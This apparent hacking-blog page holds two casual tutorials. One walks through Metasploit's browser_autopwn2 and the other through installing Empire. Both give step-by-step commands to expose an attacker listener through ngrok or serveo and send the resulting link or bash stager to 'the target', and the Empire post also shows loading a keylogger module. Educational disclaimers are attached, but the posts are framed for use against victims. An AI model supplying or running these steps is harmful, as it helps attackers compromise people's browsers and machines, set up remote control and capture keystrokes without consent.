Metasploit browser autopwn2

Metasploit browser autopwn2

welcome to hacking a rise as always I’m the laughing man so in the last post we talked about metasploit and share links or browser auto pwn we today we are going to talk about auxiliary/server/browser_autopwn2 the other autopwn module in Metasploit and the first one was out dated and wel so is this one but look there the odd chance it will work ya never know lads lol so let explain about it first and then get stuck in to using it

What is Metasploit browser autopwn2

Metasploit Framework includes a huge collection of client-side exploits, many of them are meant to exploit known vulnerabilities in web browsers and there is a module that has the ability to detect the version of browser the client is using and picks the best exploit to trigger, this module is browser_autopwn or browser_autopwn2, in its newest version.
credits to oreillys for this

How to use Metasploit browser autopwn2

First of all lads we need to start postgresql and Apache2 u can do this by typing service postgresql start & service apache2 start

Now if u have ngrok install start it cd ngrok ./ngrok http 8080 this forward your ports via ssh if you dont have ngrok then install it here
if you dont want ngrok you can use serveo for this we will be using 127.0.0.1 as Im a lazy cunt lol

Now lads we start Metasploit so open a new terminal and type msfconsole .

Now we type use auxiliary/server/browser_autopwn2 & show options in to metasploit this gave u the options u need to set

Next job to do is set the host u want to listen on and the ports and the uri path ssl if need but not important as ngrok dose it for you 😉 so in metasploit type this

set SRVHOST 127.0.0.1 if using servro or ngrok put link here
set SRVPORT 8080 put the port here from serveo or ngrok
set URIPATH /

now for the fun part type exploit in to metasploit and with for the magic link to show up when it dose go back to ngrok and send the first link to target in are case we are using http://127.0.0.1 /8080

dont send 127.0.0.1 to the target as its a thats local host it wont work over wan on on lan use ngrok or serveo or forward ur ports via router

final thoughts

Well tbh its not the best module in metasploit but it mite work but for me i not really kean on it in that case i will use beef-xss and link to setoolkit and metasploit gave this not been updated since 2015 when it was added to metasploit u think they update it or add a new one

DISCLAMER

This article is only for an Educational purpose. Any actions and or activities related to the material contained within this Website is solely your responsibility. The misuse of the information in this website can result in criminal charges brought against the persons in question. The Authors and https://hackingarise.com will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.

How to set up and use empire part one

welcome to hacking a rise on this fine Sunday i am the one and only laughingman and in this post im going to show you how to set up empire on kali linux
so lets get stuck in

What is Empire

Empire is a post-exploitation framework that includes a pure-PowerShell2.0 Windows agent, and a pure Python 2.6/2.7 Linux/OS X agent. It is the merge of the previous PowerShell Empire and Python EmPyre projects. The framework offers cryptologically-secure communications and a flexible architecture. On the PowerShell side, Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework. PowerShell Empire premiered at BSidesLV in 2015 and Python EmPyre premeiered at HackMiami 2016.




Empire relies heavily on the work from several other projects for its underlying functionality. We have tried to call out a few of those people we’ve interacted with heavily here and have included author/reference link information in the source of each Empire module as appropriate. If we have failed to improperly cite existing or prior work, please let us know.

Empire is developed by @harmj0y, @sixdub, @enigma0x3, rvrsh3ll, @killswitch_gui, and @xorrior.

Installing empire

Open a terminal and type git clone https://github.com/EmpireProject/Empire.git

now we type cd Empire then ls then cd setup then ls then chmod +x install.sh then ./install.sh with for it to install mite take some time

Right lads we have the requirements installed never hurts to be on the safe side i always run pip3 install -r requirements.txt agen with for it to install

Right now lads type cd .. to go back and then chmod +x empire and then ./empire





Right as u see there 285 modules in this framework lets have a look at help first

so to view the modules type usemodule then the tab button in the key bored

To use the modules just type usemodule powershell/collection/keylogger for a example

there we can set are settings

now lets more on to listeners so type back to go back to the main menu of Empire and then type listeners this bring up the active listeners

now type help for listners commands

agents – Will allow you to jump to agents menu.
back & main – Will take you back to the main menu.
exit – Will exit from Empire.
help – Will display help menu as shown in the above image.
info – Will display information about the active listener.
kill – Will kill a particular listener.
launcher – Used to generate an initial launcher for a listener.
list – Will list all the active listeners.
usestager – Used to use a stager (we will see below what exactly is a stager).
uselistener – Used to start a listener module.

now we wanna use a meterpreter type uselistener meterpreter and then info

since by default the listener is set to local ip you wanna attack on wan u need forward the right ports or use ngrok or serveo

two set the host u frist need to clear the defalt one by typeing unset Host





and to set the Host type set Host http://c816e04f.ngrok.io im using ngrok for this one

we can start a listener using the execute command

Now we type back then back agen u see the active listeners

now we wanna use are stager so type usestager followed by the tab button to load the list

to use one type usestager and the name for example i wanna use the bash one so i type usestager multi/bash

now lads we type execute are ngrok link be what ya send the target

DISCLAIMER

Hackingarise does not take responsiblity for the actions you make commit with this tool and/or knowledge!! We make these posts for educational purposes and to teach how hackers can use certain tools to hack you and we do not try to inspire any blackhat activities in the doing of so!!